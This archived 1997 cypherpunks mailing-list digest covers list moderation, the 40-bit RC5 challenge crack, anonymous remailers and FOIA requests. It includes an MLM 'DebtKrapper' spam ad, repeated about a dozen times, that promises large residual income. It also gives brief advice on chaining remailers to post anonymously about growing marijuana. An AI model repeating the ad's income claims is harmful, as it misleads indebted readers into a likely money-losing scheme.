Message-ID: <199702062301.PAA02240@toad.com> > I'd just appreciate it if someone would explain to me just why > I'm being completely censored from the cypherpunks list. ... > Absolutely none of my recent postings are even going to > cypherpunks-unedited, I've received no response to my mail to > gnu at toad.com asking why, and I've received absolutely no bounces > indicating that there are delivery problems. I haven't investigated your story because you didn't provide enough details and because I have been busy with other things. There is no infrastructure here for blocking postings from going through cypherpunks-unedited. It really is unedited. Perhaps there is a mailer problem (at your end or at mine). If you cc'd yourself on your messages to cypherpunks, please send me a verbatim copy of such a message that did not appear in cypherpunks-unedited, including all the header lines. I can trace whether it was ever seen on the toad.com end and what happened if it was. Hmm. Your message that I just received, about this problem, was cc'd to cypherpunks. It did not make it into the cypherpunks-unedited list. In examining the message header itself, there is an "Approved: yes" line. My guess is that your attempt to be too tricky has screwed you. Majordomo is probably zapping postings that claim to be, but aren't actually, moderator-approved. This is just a guess. Please try making a posting to cypherpunks without such a line, and see if it goes through into the unedited list. Let me know. John From vin at shore.net Thu Feb 6 15:01:47 1997 From: vin at shore.net (Vin McLellan) Date: Thu, 6 Feb 1997 15:01:47 -0800 (PST) Subject: 40-bit RC5 crack meaningless?? Message-ID: <199702062301.PAA02248@toad.com> (A gem off sci.crypt. Schwartau's mailing list is turning into the most amazing source of misinformation or disinformation about cryptography on the Net. And he's probably got the most influential audience in Washington re crypto policy. Go figure;-) ---------------- Subject: 40-bit RC5 crack meaningless?? Date: 6 Feb 1997 11:43:58 -0500 From: nobody at REPLAY.COM (Anonymous) Organization: Replay and Company UnLimited Newsgroups: sci.crypt Strassmann, the author of this denunciation of RSADS and Ian Goldberg, is the former Director of Defense Information (i.e., CIO,) of the Bush DoD and an often-insightful commentator on business culture and computing. Strange is the logic that channels the mind of the American Defense Intellectual... or, maybe he just doesn't know squat about cryptography??? (Reposted from Infowar Digest, Winn Schwartau's moderated mailing list without permission.) >Date: Thu, 30 Jan 1997 20:10:36 -0500 >To: "Wright Larry" >From: "Paul A. Strassmann" >Subject: Further to Goldberg's Cracking Accomplishments >Gentlemen: > >As I suspected (see earlier private comment), the >highly promoted RSA cracking contest offered >a number of clues that ordinarly would not be >volunteered by info-terrorists or info-criminals to >IW Defense teams. > >These clues made the cracking significantly easier, >because it made it possible to eliminate an enormous >range of possible searches. > >The following was extracted verbatim from the > >posted on : > >Clue #1: > > " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge >will use 12-round RC5 with a 32-bit word size. " > >Clue #2: > > " ...The first RC5 contest will consist of some unknown plaintext >encrypted using a 40-bit key;." > >Clue #3: (a giveway!) > > " ... For each contest, the unknown plaintext message is preceded by three > known blocks of text that contain the 24-character phrase "The > unknown message is: .....". > >In summary: The claim of exportable cryptography being totally >insecure, because it can be cracked in 3.5 hours is not >realistic. The three clues announced in the contest >would not apply under infowar conditions. > >What other clues may have been provided to Goldberg >to support private agendas and gain shrill headlines >is also a matter of speculation, but I rest my case. > >I certainly cannot assert that a 40 bit key cannot be decyphered. >However, I do not think that the RSA unqualified claims >offer full and appropriate disclosure. > >Paul > >At 10:21 AM -0500 1/30/97, Wright Larry wrote: >>Following provided for your information. >> >> >>EXPORTABLE CRYPTOGRAPHY TOTALLY INSECURE: CHALLENGE >>CIPHER BROKEN IMMEDIATELY >> >>January 28, 1997 - Ian Goldberg, a UC Berkeley graduate >>student, announced today that he had successfully >>cracked RSA Data Security Inc.'s 40-bit challenge cipher >>in just under 3.5 hours. >> >>RSA challenged scientists to break their encryption >>technology, offering a $1000 award for breaking the >>weakest version of the code. Their offering was >>designed to stimulate research and practical experience >>with the security of today's codes. >> >>The number of bits in a cipher is an indication of the >>maximum level of security the cipher can provide. Each >>additional bit doubles the potential security level of >>the cipher. A recent panel of experts recommended >>using 90-bit ciphers, and 128-bit ciphers are commonly >>used throughout the world, but US government regulations >>restrict exportable US products to a mere 40 bits. >> >>Goldberg's announcement, which came just three and a >>half hours after RSA started their contest, provides >>very strong evidence that 40-bit ciphers are totally >>unsuitable for practical security. "This is the >>final proof of what we've known for years: 40-bit >>encryption technology is obsolete," Goldberg said. <...Rest of the nnouncement from UC Berkeley snipped> >Paul A. Strassmann >55 Talmadge Hill Road, New Canaan, CT. 06840 >Telephone: 203-966-5505; Fax: 203-966-5506 >INTERNET: paul at strassmann.com >WorldwideWeb: http://www.strassmann.com >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > From steve at idoru.demon.co.uk Thu Feb 6 15:11:20 1997 From: steve at idoru.demon.co.uk (steve) Date: Thu, 6 Feb 1997 15:11:20 -0800 (PST) Subject: No Subject Message-ID: <199702062311.PAA02460@toad.com> I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work. Get me off this list now.! I joined to learn about cryptography, not listen to some socially retarded juveniles argue over who's got the biggest dick. -----Original Message----- From: Majordomo at toad.com [SMTP:Majordomo at toad.com] Sent: 06 February 1997 19:43 To: steve Subject: Your Majordomo request results -- Your request of Majordomo was: >>>> ------ =_NextPart_000_01BC1463.B5C5FAE0 END OF COMMANDS From markm at voicenet.com Thu Feb 6 15:11:20 1997 From: markm at voicenet.com (Mark M.) Date: Thu, 6 Feb 1997 15:11:20 -0800 (PST) Subject: 40-bit RC5 crack meaningless?? In-Reply-To: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On Thu, 6 Feb 1997, Vin McLellan wrote: > >Date: Thu, 30 Jan 1997 20:10:36 -0500 > >To: "Wright Larry" > >From: "Paul A. Strassmann" > >Subject: Further to Goldberg's Cracking Accomplishments > >Gentlemen: > > > >As I suspected (see earlier private comment), the > >highly promoted RSA cracking contest offered > >a number of clues that ordinarly would not be > >volunteered by info-terrorists or info-criminals to > >IW Defense teams. > > > >These clues made the cracking significantly easier, > >because it made it possible to eliminate an enormous > >range of possible searches. Hmm..., word size, number of rounds, and key size are "clues"? At least he won't be able to make this claim when DES is cracked. OTOH, he might consider a known IV to be information not available under "infowar conditions." Apparently, "Info Warriors" aren't supposed to be familiar with open standards. > >Clue #3: (a giveway!) > > > > " ... For each contest, the unknown plaintext message is preceded by three > > known blocks of text that contain the 24-character phrase "The > > unknown message is: .....". He considers a known-plaintext attack to be "a giveway![sic]"? It seems that this guy could use a few clues himself. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMvpmNCzIPc7jvyFpAQFr1wgAv9qRp1JEDe6qMLGcgs/4rJnPmUkSIDoM u769VJRO3XHYS+gIEu/A/f/jS9Mr7inqkaM/E5BhQeD2NuzSgI7IWENqvshlgeFF DrSdKqDkvwTNjaPeLvb3WoFMMSuvlVj78pYawDEFwEmhQkccE/h+I1obgCE3juk9 lw/Lto7qdA+nVnyQ0PuICbIV6lksbVTcfBG/UF5MD7HsnJzPUKReFuyPrWo6S5+4 kc1/yUjq5ABL79gNxEZmUTA6zdjwjj11x2vL1cvQP8t3PZ1K5V/bay2FlSrXvNF9 +h0GvYpPQ/0rd6whYcgCbls/5KB+GYxaCXPWvh8sFYZZBP0IFYBjiw== =ltSt -----END PGP SIGNATURE----- From stend at sten.tivoli.com Thu Feb 6 15:12:00 1997 From: stend at sten.tivoli.com (Firebeard) Date: Thu, 6 Feb 1997 15:12:00 -0800 (PST) Subject: "Why am I being completely censored"? Message-ID: <199702062312.PAA02488@toad.com> >>>>> John Gilmore writes: JG> Hmm. Your message that I just received, about this problem, was JG> cc'd to cypherpunks. It did not make it into the JG> cypherpunks-unedited list. In examining the message header JG> itself, there is an "Approved: yes" line. My guess is that your JG> attempt to be too tricky has screwed you. It appears that this was the problem. Deal with a self-moderated newsgroup, and ent up with self-censorship. *shrug*. I wish that John had helped to resolve the problem before I made it public, but that's life. -- #include /* Sten Drescher */ ObCDABait: For she doted upon their paramours, whose flesh is as the flesh of asses, and whose issue is like the issue of horses. [Eze 23:20] ObFelony: President Clinton, you suck, and those boys died! Unsolicited bulk email will be stored and handled for a US$500/KB fee. From mix-admin at nym.alias.net Thu Feb 6 15:13:47 1997 From: mix-admin at nym.alias.net (lcs Remailer Administrator) Date: Thu, 6 Feb 1997 15:13:47 -0800 (PST) Subject: WANTED: Tolerant, anonymity-friendly news admins Message-ID: <199702062313.PAA02533@toad.com> Because of recent attacks on the remailer network and mail2news gateways, I may loose access to at least one of the news servers I currently feed news to from my mail2news gateway. If you are a news administrator, believe in free speech and anonymity, and you would like to help the cause, please consider giving transfer (aka "IHAVE" or "hosts.nntp") privileges to this machine. You will not be the only server, and so do not need to worry about being the point of entrance of mail2news articles to Usenet. Please contact me if you can help. Thank you. For those who oppose the existence of mail2news gateways, you should know that we are taking steps to limit the abuse. However, doing so without in any way limiting articles that abide by the usage policy is tricky, and must be done carefully. Please be patient. From jer+ at andrew.cmu.edu Thu Feb 6 15:14:58 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Thu, 6 Feb 1997 15:14:58 -0800 (PST) Subject: anonymous remailers Message-ID: <199702062314.PAA02544@toad.com> -----BEGIN PGP SIGNED MESSAGE----- c.musselman at internetmci.com (Charley Musselman) writes: > C'punks -- > When I told a friend about the alt.drugs.pot cultivation newsgroup > and suggested that he use an anonymous remailer to post to the group, > he laughed and said, "Who do you suppose runs the remailers? ATF, > FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does > anyone know the answer? Specifically, how can we choose a trusted > remailer? The solution is not to choose a trusted remailer, but to choose a group of remailers and send your message through each one sequentially. If you use encryption, and any one of the remailers you send your message through is trustworthy, than it is difficult or impossible for someone to trace your message. Here are some places to go to find more info on remailers: http://WWW.CSUA.Berkeley.EDU/cypherpunks/remailer/ http://www.stack.nl/~galactus/remailers/index-anon.html http://www.cs.berkeley.edu/~raph/remailer-list.html (Look at the bottom, there's everything you need to know there.) Please bear in mind that anon.penet.fi no longer exists, and that it wasn't all that secure when it did. Hope this helps, and happy growing :-) Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMvpd9skz/YzIV3P5AQGIyAL/eFZ1sLcO0Gx/0BadHnhQVzJZowmJOcAq uChnzxSZmSQ8VRSHNjSh8H5i65jw1BIqWlsA8Oe7jnhRcPIqOcmNIdtTJwXP4qV7 HJO+uZwwKP7td5HPTzjD1f8iyO9VIRCj =p5V+ -----END PGP SIGNATURE----- From stewarts at ix.netcom.com Thu Feb 6 15:16:15 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 6 Feb 1997 15:16:15 -0800 (PST) Subject: Cypherpunks FOIA request Message-ID: <199702062316.PAA02568@toad.com> At 06:49 PM 2/5/97 -0800, Lucky Green wrote: >My attorney used to fly planes with nuclear cargo. Another friend of mine >has been visited several times by the FBI. In either case, the FBI claimed >upon receiving an FOIA request that they have no record on either person. >Does anybody here believe that the USAF would let pilots take off with >nukes on board without ever conducting a background investigation (which >are handled by the FBI)? I didn't think so. Background investigations for defense contractors are handled by DISCO, the Defense Industrial Security Clearance Office; I don't know if they also do internal military clearance work, but I'd assume it's _somebody_ on the military side rather than FBI, though presumably the military does also check FBI records (and the FBI probably doesn't have a blanket policy of always lying to the military :-) Nuclear clearances presumably go into more depth... As far as your friend being visited by the FBI several times, that's obviously part of an ongoing criminal investigation (:-), so they don't have to tell you. If they're still thinking about going back and harassing your friend, it's still ongoing, even if they now know that he is or is not a Commie Sympathizer. That, or they could have just been unable to find the records. Anything computerized should be findable (doesn't mean it _is_, just that it should be), though they're probably more organized about finding things they want to find than finding things you want them to find. But records that exist only on paper are a lot tougher to wade through; you can't grep dead trees, and if your friend was being checked out as "somebody suspicious who knows somebody we're trying to investigate/harass", the files may not be indentified under your friend's name, or may be stored in some big warehouse where nobody's waded through them in decades. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From starvino at gte.net Thu Feb 6 15:19:13 1997 From: starvino at gte.net (starvino at gte.net) Date: Thu, 6 Feb 1997 15:19:13 -0800 (PST) Subject: Kool! Klassy! Klever! Message-ID: <199702062319.PAA02669@toad.com> If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: 7 3 x 7 forced matrix + extras 7 the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: 7 3 x 7 forced matrix + extras 7 the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: 7 3 x 7 forced matrix + extras 7 the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: 7 3 x 7 forced matrix + extras 7 the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: 7 3 x 7 forced matrix + extras 7 the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: 7 3 x 7 forced matrix + extras 7 the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: 7 3 x 7 forced matrix + extras 7 the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: 7 3 x 7 forced matrix + extras 7 the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: 7 3 x 7 forced matrix + extras 7 the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: 7 3 x 7 forced matrix + extras 7 the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: 7 3 x 7 forced matrix + extras 7 the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: 7 3 x 7 forced matrix + extras 7 the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply. DebtKrapper??? (K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded) If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then: 1) you are in trouble, and 2) You are just like millions of others who need help NOW. ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH, is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!) DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM: 7 3 x 7 forced matrix + extras 7 the most FUN NEWSLETTER on the Internet (also the most modest) * Up to $6400/month from the original matrix * extensive company advertising = SPILLOVER! For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to: starvino at gte.net This is a company-sponsored ad. You will be placed in the highest available spot in the COMPANY matrix. IMPORTANT: We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know! From perry at alpha.jpunix.com Thu Feb 6 15:28:42 1997 From: perry at alpha.jpunix.com (John A. Perry) Date: Thu, 6 Feb 1997 15:28:42 -0800 (PST) Subject: Updated type2.list/pubring.mix Message-ID: <199702062328.PAA02783@toad.com> -----BEGIN PGP SIGNED MESSAGE----- I have just updated the type2.list/pubring.mix combination on jpunix.com. This change reflects the retirement of the lead remailer. The files are available by anon FTP from ftp.jpunix.com as well as by Web from www.jpunix.com. John Perry KG5RG perry at alpha.jpunix.com PGP-encrypted e-mail welcome! Amateur Radio Address: 